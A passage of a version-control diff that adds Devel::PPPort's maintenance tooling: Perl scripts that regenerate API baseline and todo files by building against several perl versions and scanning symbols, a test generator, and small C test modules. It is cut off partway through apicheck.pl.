+for (1 .. $#perls) {
+  $perls[$_]{todo} = $perls[$_-1]{version};
+}
+
+shift @perls;
+
+for (@perls) {
+  my $todo = do { my $v = $_->{todo}; $v =~ s/\D+//g; $v };
+  -e "$outdir/$todo" and next;
+  my @args = ('--perl', $_->{path}, '--todo', "$outdir/$todo", '--version', "$_->{todo}");
+  push @args, '--base' if $opt{base};
+  push @args, '--verbose' if $opt{verbose};
+  push @args, '--nocheck' unless $opt{check};
+  runperl('devel/mktodo.pl', @args) or die "error running mktodo.pl [$!] [$?]\n";
+}

Added: vendor/perl/dist/dist/Devel-PPPort/devel/mktodo.pl
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/devel/mktodo.pl	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/devel/mktodo.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,374 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+#  mktodo.pl -- generate baseline and todo files
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+use Data::Dumper;
+use IO::File;
+use IO::Select;
+use Config;
+use Time::HiRes qw( gettimeofday tv_interval );
+
+require './devel/devtools.pl';
+
+our %opt = (
+  debug   => 0,
+  base    => 0,
+  verbose => 0,
+  check   => 1,
+  shlib   => 'blib/arch/auto/Devel/PPPort/PPPort.so',
+);
+
+GetOptions(\%opt, qw(
+            perl=s todo=s version=s shlib=s debug base verbose check!
+          )) or die;
+
+identify();
+
+print "\n", ident_str(), "\n\n";
+
+my $fullperl = `which $opt{perl}`;
+chomp $fullperl;
+
+$ENV{SKIP_SLOW_TESTS} = 1;
+
+regen_all();
+
+my %stdsym = map { ($_ => 1) } qw (
+  strlen
+  snprintf
+  strcmp
+  memcpy
+  strncmp
+  memmove
+  memcmp
+  tolower
+  exit
+  memset
+  vsnprintf
+  siglongjmp
+  sprintf
+);
+
+my %sym;
+for (`$Config{nm} $fullperl`) {
+  chomp;
+  /\s+T\s+(\w+)\s*$/ and $sym{$1}++;
+}
+keys %sym >= 50 or die "less than 50 symbols found in $fullperl\n";
+
+my %all = %{load_todo($opt{todo}, $opt{version})};
+my @recheck;
+
+my $symmap = get_apicheck_symbol_map();
+
+for (;;) {
+  my $retry = 1;
+  my $trynm = 1;
+  regen_apicheck();
+
+retry:
+  my(@new, @tmp, %seen);
+
+  my $r = run(qw(make));
+  $r->{didnotrun} and die "couldn't run make: $!\n";
+
+  for my $l (@{$r->{stderr}}) {
+    if ($l =~ /_DPPP_test_(\w+)/) {
+      if (!$seen{$1}++) {
+        my @s = grep { exists $sym{$_} } $1, "Perl_$1", "perl_$1";
+        if (@s) {
+          push @tmp, [$1, "E (@s)"];
+        }
+        else {
+          push @new, [$1, "E"];
+        }
+      }
+    }
+  }
+
+  if ($r->{status} == 0) {
+    my @u;
+    my @usym;
+
+    if ($trynm) {
+      @u = eval { find_undefined_symbols($fullperl, $opt{shlib}) };
+      warn "warning: $@" if $@;
+      $trynm = 0;
+    }
+
+    unless (@u) {
+      $r = run(qw(make test));
+      $r->{didnotrun} and die "couldn't run make test: $!\n";
+      $r->{status} == 0 and last;
+
+      for my $l (@{$r->{stderr}}) {
+        if ($l =~ /undefined symbol: (\w+)/) {
+          push @u, $1;
+        }
+      }
+    }
+
+    for my $u (@u) {
+      for my $m (keys %{$symmap->{$u}}) {
+        if (!$seen{$m}++) {
+          my $pl = $m;
+          $pl =~ s/^[Pp]erl_//;
+          my @s = grep { exists $sym{$_} } $pl, "Perl_$pl", "perl_$pl";
+          push @new, [$m, @s ? "U (@s)" : "U"];
+        }
+      }
+    }
+  }
+
+  @new = grep !$all{$_->[0]}, @new;
+
+  unless (@new) {
+    @new = grep !$all{$_->[0]}, @tmp;
+  }
+
+  unless (@new) {
+    if ($retry > 0) {
+      $retry--;
+      regen_all();
+      goto retry;
+    }
+    print Dumper($r);
+    die "no new TODO symbols found...";
+  }
+
+  # don't recheck undefined symbols reported by the dynamic linker
+  push @recheck, map { $_->[0] } grep { $_->[1] !~ /^U/ } @new;
+
+  for (@new) {
+    sym('new', @$_);
+    $all{$_->[0]} = $_->[1];
+  }
+
+  write_todo($opt{todo}, $opt{version}, \%all);
+}
+
+if ($opt{check}) {
+  my $ifmt = '%' . length(scalar @recheck) . 'd';
+  my $t0 = [gettimeofday];
+
+  RECHECK: for my $i (0 .. $#recheck) {
+    my $sym = $recheck[$i];
+    my $cur = delete $all{$sym};
+
+    sym('chk', $sym, $cur, sprintf(" [$ifmt/$ifmt, ETA %s]",
+               $i + 1, scalar @recheck, eta($t0, $i, scalar @recheck)));
+
+    write_todo($opt{todo}, $opt{version}, \%all);
+
+    if ($cur eq "E (Perl_$sym)") {
+      # we can try a shortcut here
+      regen_apicheck($sym);
+
+      my $r = run(qw(make test));
+
+      if (!$r->{didnotrun} && $r->{status} == 0) {
+        sym('del', $sym, $cur);
+        next RECHECK;
+      }
+    }
+
+    # run the full test
+    regen_all();
+
+    my $r = run(qw(make test));
+
+    $r->{didnotrun} and die "couldn't run make test: $!\n";
+
+    if ($r->{status} == 0) {
+      sym('del', $sym, $cur);
+    }
+    else {
+      $all{$sym} = $cur;
+    }
+  }
+}
+
+write_todo($opt{todo}, $opt{version}, \%all);
+
+run(qw(make realclean));
+
+exit 0;
+
+sub sym
+{
+  my($what, $sym, $reason, $extra) = @_;
+  $extra ||= '';
+  my %col = (
+    'new' => 'bold red',
+    'chk' => 'bold magenta',
+    'del' => 'bold green',
+  );
+  $what = colored("$what symbol", $col{$what});
+
+  printf "[%s] %s %-30s # %s%s\n",
+         $opt{version}, $what, $sym, $reason, $extra;
+}
+
+sub regen_all
+{
+  my @mf_arg = ('--with-apicheck', 'OPTIMIZE=-O0 -w');
+  push @mf_arg, qw( DEFINE=-DDPPP_APICHECK_NO_PPPORT_H ) if $opt{base};
+
+  # just to be sure
+  run(qw(make realclean));
+  run($fullperl, "Makefile.PL", @mf_arg)->{status} == 0
+      or die "cannot run Makefile.PL: $!\n";
+}
+
+sub regen_apicheck
+{
+  unlink qw(apicheck.c apicheck.o);
+  runtool({ out => '/dev/null' }, $fullperl, 'apicheck_c.PL', map { "--api=$_" } @_)
+      or die "cannot regenerate apicheck.c\n";
+}
+
+sub load_todo
+{
+  my($file, $expver) = @_;
+
+  if (-e $file) {
+    my $f = new IO::File $file or die "cannot open $file: $!\n";
+    my $ver = <$f>;
+    chomp $ver;
+    if ($ver eq $expver) {
+      my %sym;
+      while (<$f>) {
+        chomp;
+        /^(\w+)\s+#\s+(.*)/ or goto nuke_file;
+        exists $sym{$1} and goto nuke_file;
+        $sym{$1} = $2;
+      }
+      return \%sym;
+    }
+
+nuke_file:
+    undef $f;
+    unlink $file or die "cannot remove $file: $!\n";
+  }
+
+  return {};
+}
+
+sub write_todo
+{
+  my($file, $ver, $sym) = @_;
+  my $f;
+
+  $f = new IO::File ">$file" or die "cannot open $file: $!\n";
+  $f->print("$ver\n");
+
+  for (sort keys %$sym) {
+    $f->print(sprintf "%-30s # %s\n", $_, $sym->{$_});
+  }
+}
+
+sub find_undefined_symbols
+{
+  my($perl, $shlib) = @_;
+
+  my $ps = read_sym(file => $perl,  options => [qw( --defined-only   )]);
+  my $ls = read_sym(file => $shlib, options => [qw( --undefined-only )]);
+
+  my @undefined;
+
+  for my $sym (keys %$ls) {
+    unless (exists $ps->{$sym}) {
+      if ($sym !~ /\@/ and $sym !~ /^_/) {
+        push @undefined, $sym unless $stdsym{$sym};
+      }
+    }
+  }
+
+  return @undefined;
+}
+
+sub read_sym
+{
+  my %opt = ( options => [], @_ );
+
+  my $r = run($Config{nm}, @{$opt{options}}, $opt{file});
+
+  if ($r->{didnotrun} or $r->{status}) {
+    die "cannot run $Config{nm}";
+  }
+
+  my %sym;
+
+  for (@{$r->{stdout}}) {
+    chomp;
+    my($adr, $fmt, $sym) = /^\s*([[:xdigit:]]+)?\s+([ABCDGINRSTUVW?-])\s+(\S+)\s*$/i
+                           or die "cannot parse $Config{nm} output:\n[$_]\n";
+    $sym{$sym} = { format => $fmt };
+    $sym{$sym}{address} = $adr if defined $adr;
+  }
+
+  return \%sym;
+}
+
+sub get_apicheck_symbol_map
+{
+  my $r;
+
+  while (1) {
+    $r = run(qw(make apicheck.i));
+
+    last unless $r->{didnotrun} or $r->{status};
+
+    my %sym = map { /error: macro "(\w+)" (?:requires|passed) \d+ argument/ ? ($1 => 'A') : () }
+              @{$r->{stderr}};
+
+    if (keys %sym) {
+      for my $s (sort keys %sym) {
+        sym('new', $s, $sym{$s});
+        $all{$s} = $sym{$s};
+      }
+      write_todo($opt{todo}, $opt{version}, \%all);
+      regen_apicheck();
+    }
+    else {
+      die "cannot run make apicheck.i ($r->{didnotrun} / $r->{status}):\n".
+          join('', @{$r->{stdout}})."\n---\n".join('', @{$r->{stderr}});
+    }
+  }
+
+  my $fh = IO::File->new('apicheck.i')
+           or die "cannot open apicheck.i: $!";
+
+  local $_;
+  my %symmap;
+  my $cur;
+
+  while (<$fh>) {
+    next if /^#/;
+    if (defined $cur) {
+      for my $sym (/\b([A-Za-z_]\w+)\b/g) {
+        $symmap{$sym}{$cur}++;
+      }
+      undef $cur if /^}$/;
+    }
+    else {
+      /_DPPP_test_(\w+)/ and $cur = $1;
+    }
+  }
+
+  return \%symmap;
+}

Added: vendor/perl/dist/dist/Devel-PPPort/devel/regenerate
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/devel/regenerate	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/devel/regenerate	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,160 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+#  regenerate -- regenerate baseline and todo files
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use File::Path;
+use File::Copy;
+use Getopt::Long;
+use Pod::Usage;
+
+require './devel/devtools.pl';
+
+our %opt = (
+  check   => 1,
+  verbose => 0,
+);
+
+GetOptions(\%opt, qw( check! verbose install=s blead=s blead-version=s )) or die pod2usage();
+
+identify();
+
+unless (-e 'parts/embed.fnc' and -e 'parts/apidoc.fnc') {
+  print "\nOooops, $0 must be run from the Devel::PPPort root directory.\n";
+  quit_now();
+}
+
+ask_or_quit("Are you sure you have updated parts/embed.fnc and parts/apidoc.fnc?");
+
+my %files = map { ($_ => [glob "parts/$_/5*"]) } qw( base todo );
+
+my(@notwr, @wr);
+for my $f (map @$_, values %files) {
+  push @{-w $f ? \@wr : \@notwr}, $f;
+}
+
+if (@notwr) {
+  if (@wr) {
+    print "\nThe following files are not writable:\n\n";
+    print "    $_\n" for @notwr;
+    print "\nAre you sure you have checked out these files?\n";
+  }
+  else {
+    print "\nAll baseline / todo file are not writable.\n";
+    ask_or_quit("Do you want to try to check out these files?");
+    unless (runtool("wco", "-l", "-t", "locked by $0", @notwr)) {
+      print "\nSomething went wrong while checking out the files.\n";
+      quit_now();
+    }
+  }
+}
+
+for my $dir (qw( base todo )) {
+  my $cur = "parts/$dir";
+  my $old = "$cur-old";
+  if (-e $old) {
+    ask_or_quit("Do you want me to remove the old $old directory?");
+    rmtree($old);
+  }
+  mkdir $old;
+  print "\nBacking up $cur in $old.\n";
+  for my $src (@{$files{$dir}}) {
+    my $dst = $src;
+    $dst =~ s/\Q$cur/$old/ or die "Ooops!";
+    move($src, $dst) or die "Moving $src to $dst failed: $!\n";
+  }
+}
+
+my @perlargs;
+push @perlargs, "--install=$opt{install}" if exists $opt{install};
+push @perlargs, "--blead=$opt{blead}" if exists $opt{blead};
+
+my $T0 = time;
+my @args = ddverbose();
+push @args, '--nocheck' unless $opt{check};
+push @args, "--blead-version=$opt{'blead-version'}" if exists $opt{'blead-version'};
+push @args, @perlargs;
+
+print "\nBuilding baseline files...\n\n";
+
+unless (runperl('devel/mktodo', '--base', @args)) {
+  print "\nSomething went wrong while building the baseline files.\n";
+  quit_now();
+}
+
+print "\nMoving baseline files...\n\n";
+
+for my $src (glob 'parts/todo/5*') {
+  my $dst = $src;
+  $dst =~ s/todo/base/ or die "Ooops!";
+  move($src, $dst) or die "Moving $src to $dst failed: $!\n";
+}
+
+print "\nBuilding todo files...\n\n";
+
+unless (runperl('devel/mktodo', @args)) {
+  print "\nSomething went wrong while building the baseline files.\n";
+  quit_now();
+}
+
+print "\nAdding remaining baseline info...\n\n";
+
+unless (runperl('Makefile.PL') and
+        runtool('make') and
+        runperl('devel/scanprov', '--mode=write', @perlargs)) {
+  print "\nSomething went wrong while adding the baseline info.\n";
+  quit_now();
+}
+
+my($wall, $usr, $sys, $cusr, $csys) = (time - $T0, times);
+my $cpu = sprintf "%.2f", $usr + $sys + $cusr + $csys;
+$usr = sprintf "%.2f", $usr + $cusr;
+$sys = sprintf "%.2f", $sys + $csys;
+
+print <<END;
+
+API info regenerated successfully.
+
+Finished in $wall wallclock secs ($usr usr + $sys sys = $cpu CPU)
+
+Don't forget to check in the files in parts/base and parts/todo.
+
+END
+
+__END__
+
+=head1 NAME
+
+regenerate - Automatically regenerate Devel::PPPort's API information
+
+=head1 SYNOPSIS
+
+  regenerate [options]
+
+  --nocheck      don't recheck symbols that caused an error
+  --verbose      show verbose output
+
+=head1 COPYRIGHT
+
+Copyright (c) 2006-2013, Marcus Holland-Moritz.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort> and L<HACKERS>.
+
+=cut

Added: vendor/perl/dist/dist/Devel-PPPort/devel/scanprov
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/devel/scanprov	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/devel/scanprov	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,78 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+#  scanprov -- scan Perl headers for provided macros
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+
+require './parts/ppptools.pl';
+
+our %opt = (
+  mode    => 'check',
+  install => '/tmp/perl/install/default',
+  blead   => 'bleadperl',
+);
+
+GetOptions(\%opt, qw( install=s mode=s blead=s )) or die;
+
+my $write = $opt{mode} eq 'write';
+
+my %embed = map { ( $_->{name} => 1 ) }
+            parse_embed(qw(parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc ));
+
+my @provided = grep { !exists $embed{$_} }
+               map { /^(\w+)/ ? $1 : () }
+               `$^X ppport.h --list-provided`;
+
+my @perls = sort { $b->{version} <=> $a->{version} }
+            map { { version => `$_ -e 'printf "%.6f", \$]'`, path => $_ } }
+            ($opt{blead}, glob "$opt{install}/*/bin/perl5.*");
+
+for (1 .. $#perls) {
+  $perls[$_]{todo} = $perls[$_-1]{version};
+}
+
+shift @perls;
+
+my %v;
+
+for my $p (@perls) {
+  print "checking perl $p->{version}...\n";
+  my $archlib = `$p->{path} -MConfig -l -e 'print \$Config{archlib}'`;
+  chomp $archlib;
+  local @ARGV = glob "$archlib/CORE/*.h";
+  my %sym;
+  while (<>) { $sym{$_}++ for /(\w+)/g; }
+  @provided = map { $sym{$_} or $v{$p->{todo}}{$_}++; $sym{$_} ? $_ : () } @provided;
+}
+
+my $out = 'parts/base';
+my $todo = parse_todo($out);
+
+for my $v (keys %v) {
+  my @new = sort grep { !exists $todo->{$_} } keys %{$v{$v}};
+  @new or next;
+  my $file = $v;
+  $file =~ s/\.//g;
+  $file = "$out/$file";
+  -e $file or die "non-existent: $file\n";
+  print "-- $file --\n";
+  $write and (open F, ">>$file" or die "$file: $!\n");
+  for (@new) {
+    print "adding $_\n";
+    $write and printf F "%-30s # added by $0\n", $_;
+  }
+  $write and close F;
+}

Added: vendor/perl/dist/dist/Devel-PPPort/mktests.PL
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/mktests.PL	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/mktests.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,110 @@
+################################################################################
+#
+#  mktests.PL -- generate test files for Devel::PPPort
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my $template = do { local $/; <DATA> };
+
+generate_tests();
+
+sub generate_tests
+{
+  my @tests;
+  my $file;
+
+  for $file (all_files_in_dir('parts/inc')) {
+    my($testfile) = $file =~ /(\w+)\.?$/;  # VMS has a trailing dot
+    $testfile = "t/$testfile.t";
+
+    my $spec = parse_partspec($file);
+    my $plan = 0;
+
+    if (exists $spec->{tests}) {
+      exists $spec->{OPTIONS}{tests} &&
+      exists $spec->{OPTIONS}{tests}{plan}
+          or die "No plan for tests in $file\n";
+
+      print "generating $testfile\n";
+
+      my $tmpl = $template;
+      $tmpl =~ s/__SOURCE__/$file/mg;
+      $tmpl =~ s/__PLAN__/$spec->{OPTIONS}{tests}{plan}/mg;
+      $tmpl =~ s/^__TESTS__$/$spec->{tests}/mg;
+
+      open FH, ">$testfile" or die "$testfile: $!\n";
+      print FH $tmpl;
+      close FH;
+
+      push @tests, $testfile;
+    }
+  }
+
+  return @tests;
+}
+
+__DATA__
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or __SOURCE__ instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (__PLAN__) {
+    load();
+    plan(tests => __PLAN__);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+__TESTS__

Added: vendor/perl/dist/dist/Devel-PPPort/module2.c
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/module2.c	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/module2.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,54 @@
+/*******************************************************************************
+*
+*  Perl/Pollution/Portability
+*
+********************************************************************************
+*
+*  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+*  Version 2.x, Copyright (C) 2001, Paul Marquess.
+*  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+*  This program is free software; you can redistribute it and/or
+*  modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#ifndef PATCHLEVEL
+#include "patchlevel.h"
+#endif
+
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_PL_signals_GLOBAL
+#define NEED_PL_parser
+#define DPPP_PL_parser_NO_DUMMY
+#include "ppport.h"
+
+void call_newCONSTSUB_2(void)
+{
+  newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_2", newSViv(2));
+}
+
+U32 get_PL_signals_2(void)
+{
+  return PL_signals;
+}
+
+int no_dummy_parser_vars(int check)
+{
+  if (check == 0 || PL_parser)
+  {
+    line_t volatile my_copline;
+    line_t volatile *my_p_copline;
+    my_copline = PL_copline;
+    my_p_copline = &PL_copline;
+    PL_copline = my_copline;
+    PL_copline = *my_p_copline;
+    return 1;
+  }
+
+  return 0;
+}

Added: vendor/perl/dist/dist/Devel-PPPort/module3.c
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/module3.c	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/module3.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,71 @@
+/*******************************************************************************
+*
+*  Perl/Pollution/Portability
+*
+********************************************************************************
+*
+*  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+*  Version 2.x, Copyright (C) 2001, Paul Marquess.
+*  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+*  This program is free software; you can redistribute it and/or
+*  modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+#include "EXTERN.h"
+#include "perl.h"
+
+#define NEED_PL_parser
+#define NO_XSLOCKS
+#include "XSUB.h"
+
+#include "ppport.h"
+
+static void throws_exception(int throw_e)
+{
+  if (throw_e)
+    croak("boo\n");
+}
+
+int exception(int throw_e)
+{
+  dTHR;
+  dXCPT;
+  SV *caught = get_sv("Devel::PPPort::exception_caught", 0);
+
+  XCPT_TRY_START {
+    throws_exception(throw_e);
+  } XCPT_TRY_END
+
+  XCPT_CATCH
+  {
+    sv_setiv(caught, 1);
+    XCPT_RETHROW;
+  }
+
+  sv_setiv(caught, 0);
+
+  return 42;
+}
+
+void call_newCONSTSUB_3(void)
+{
+  newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_3", newSViv(3));
+}
+
+U32 get_PL_signals_3(void)
+{
+  return PL_signals;
+}
+
+int dummy_parser_warning(void)
+{
+  char * volatile my_bufptr;
+  char * volatile *my_p_bufptr;
+  my_bufptr = PL_bufptr;
+  my_p_bufptr = &PL_bufptr;
+  PL_bufptr = my_bufptr;
+  PL_bufptr = *my_p_bufptr;
+  return &PL_bufptr != NULL;
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/apicheck.pl
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/apicheck.pl	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/apicheck.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,326 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+#  apicheck.pl -- generate C source for automated API check
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+require './parts/ppptools.pl';
+
+if (@ARGV) {
+  my $file = pop @ARGV;
+  open OUT, ">$file" or die "$file: $!\n";
+}
+else {
+  *OUT = \*STDOUT;
+}
+
+my @f = parse_embed(qw( parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc ));
+
+my %todo = %{&parse_todo};
+
+my %tmap = (
+  void => 'int',
+);
+
+my %amap = (
+  SP   => 'SP',
+  type => 'int',
+  cast => 'int',
+);
+
+my %void = (
+  void     => 1,
+  Free_t   => 1,
+  Signal_t => 1,
+);
+
+my %castvoid = (
+  map { ($_ => 1) } qw(
+    Nullav
+    Nullcv
+    Nullhv
+    Nullch
+    Nullsv
+    HEf_SVKEY
+    SP
+    MARK
+    SVt_PV
+    SVt_IV
+    SVt_NV
+    SVt_PVMG
+    SVt_PVAV
+    SVt_PVHV
+    SVt_PVCV
+    SvUOK
+    G_SCALAR
+    G_ARRAY
+    G_VOID
+    G_DISCARD
+    G_EVAL
+    G_NOARGS
+    XS_VERSION
+  ),
+);
+
+my %ignorerv = (
+  map { ($_ => 1) } qw(
+    newCONSTSUB
+  ),
+);
+
+my %stack = (
+  ORIGMARK       => ['dORIGMARK;'],
+  POPpx          => ['STRLEN n_a;'],
+  POPpbytex      => ['STRLEN n_a;'],
+  PUSHp          => ['dTARG;'],
+  PUSHn          => ['dTARG;'],
+  PUSHi          => ['dTARG;'],
+  PUSHu          => ['dTARG;'],
+  XPUSHp         => ['dTARG;'],
+  XPUSHn         => ['dTARG;'],
+  XPUSHi         => ['dTARG;'],
+  XPUSHu         => ['dTARG;'],
+  UNDERBAR       => ['dUNDERBAR;'],
+  XCPT_TRY_START => ['dXCPT;'],
+  XCPT_TRY_END   => ['dXCPT;'],
+  XCPT_CATCH     => ['dXCPT;'],
+  XCPT_RETHROW   => ['dXCPT;'],
+);
+
+my %ignore = (
+  map { ($_ => 1) } qw(
+    svtype
+    items
+    ix
+    dXSI32
+    XS
+    CLASS
+    THIS
+    RETVAL
+    StructCopy
+  ),
+);
+
+print OUT <<HEAD;
+/*
+ * !!!!!!!   DO NOT EDIT THIS FILE   !!!!!!!
+ * This file is built by $0.
+ * Any changes made here will be lost!
+ */
+
+#include "EXTERN.h"
+#include "perl.h"
+
+#define NO_XSLOCKS
+#include "XSUB.h"
+
+#ifdef DPPP_APICHECK_NO_PPPORT_H
+
+/* This is just to avoid too many baseline failures with perls < 5.6.0 */
+
+#ifndef dTHX
+#  define dTHX extern int Perl___notused
+#endif
+
+#else
+
+#define NEED_PL_signals
+#define NEED_PL_parser
+#define NEED_caller_cx
+#define NEED_eval_pv
+#define NEED_grok_bin
+#define NEED_grok_hex
+#define NEED_grok_number
+#define NEED_grok_numeric_radix
+#define NEED_grok_oct
+#define NEED_gv_fetchpvn_flags
+#define NEED_load_module
+#define NEED_mg_findext
+#define NEED_my_snprintf
+#define NEED_my_sprintf
+#define NEED_my_strlcat
+#define NEED_my_strlcpy
+#define NEED_newCONSTSUB
+#define NEED_newRV_noinc
+#define NEED_newSV_type
+#define NEED_newSVpvn_flags
+#define NEED_newSVpvn_share
+#define NEED_pv_display
+#define NEED_pv_escape
+#define NEED_pv_pretty
+#define NEED_sv_2pv_flags
+#define NEED_sv_2pvbyte
+#define NEED_sv_catpvf_mg
+#define NEED_sv_catpvf_mg_nocontext
+#define NEED_sv_pvn_force_flags
+#define NEED_sv_setpvf_mg
+#define NEED_sv_setpvf_mg_nocontext
+#define NEED_sv_unmagicext
+#define NEED_SvRX
+#define NEED_vload_module
+#define NEED_vnewSVpvf
+#define NEED_warner
+
+#include "ppport.h"
+
+#endif
+
+static int    VARarg1;
+static char  *VARarg2;
+static double VARarg3;
+
+#if defined(PERL_BCDVERSION) && (PERL_BCDVERSION < 0x5009005)
+/* needed to make PL_parser apicheck work */
+typedef void yy_parser;
+#endif
+
+HEAD
+
+if (@ARGV) {
+  my %want = map { ($_ => 0) } @ARGV;
+  @f = grep { exists $want{$_->{name}} } @f;
+  for (@f) { $want{$_->{name}}++ }
+  for (keys %want) {
+    die "nothing found for '$_'\n" unless $want{$_};
+  }
+}
+
+my $f;
+for $f (@f) {
+  $ignore{$f->{name}} and next;
+  $f->{flags}{A} or next;  # only public API members
+
+  $ignore{$f->{name}} = 1; # ignore duplicates
+
+  my $Perl_ = $f->{flags}{p} ? 'Perl_' : '';
+
+  my $stack = '';
+  my @arg;
+  my $aTHX = '';
+
+  my $i = 1;
+  my $ca;
+  my $varargs = 0;
+  for $ca (@{$f->{args}}) {
+    my $a = $ca->[0];
+    if ($a eq '...') {
+      $varargs = 1;
+      push @arg, qw(VARarg1 VARarg2 VARarg3);
+      last;
+    }
+    my($n, $p, $d) = $a =~ /^ (\w+(?:\s+\w+)*)\s*  # type name  => $n
+                              (\**)                # pointer    => $p
+                              (?:\s*const\s*)?     # const
+                              ((?:\[[^\]]*\])*)    # dimension  => $d
+                            $/x
+                     or die "$0 - cannot parse argument: [$a]\n";
+    if (exists $amap{$n}) {
+      push @arg, $amap{$n};
+      next;
+    }
+    $n = $tmap{$n} || $n;
+    if ($n eq 'const char' and $p eq '*' and !$f->{flags}{f}) {
+      push @arg, '"foo"';
+    }
+    else {
+      my $v = 'arg' . $i++;
+      push @arg, $v;
+      $stack .= "  static $n $p$v$d;\n";
+    }
+  }
+
+  unless ($f->{flags}{n} || $f->{flags}{'m'}) {
+    $stack = "  dTHX;\n$stack";
+    $aTHX = @arg ? 'aTHX_ ' : 'aTHX';
+  }
+
+  if ($stack{$f->{name}}) {
+    my $s = '';
+    for (@{$stack{$f->{name}}}) {
+      $s .= "  $_\n";
+    }
+    $stack = "$s$stack";
+  }
+
+  my $args = join ', ', @arg;
+  my $rvt = $f->{ret} || 'void';
+  my $ret;
+  if ($void{$rvt}) {
+    $ret = $castvoid{$f->{name}} ? '(void) ' : '';
+  }
+  else {
+    $stack .= "  $rvt rval;\n";
+    $ret = $ignorerv{$f->{name}} ? '(void) ' : "rval = ";
+  }
+  my $aTHX_args = "$aTHX$args";
+
+  if (!$f->{flags}{'m'} or $f->{flags}{'b'} or @arg > 0) {
+    $args = "($args)";
+    $aTHX_args = "($aTHX_args)";
+  }
+
+  print OUT <<HEAD;
+/******************************************************************************
+*
+*  $f->{name}
+*
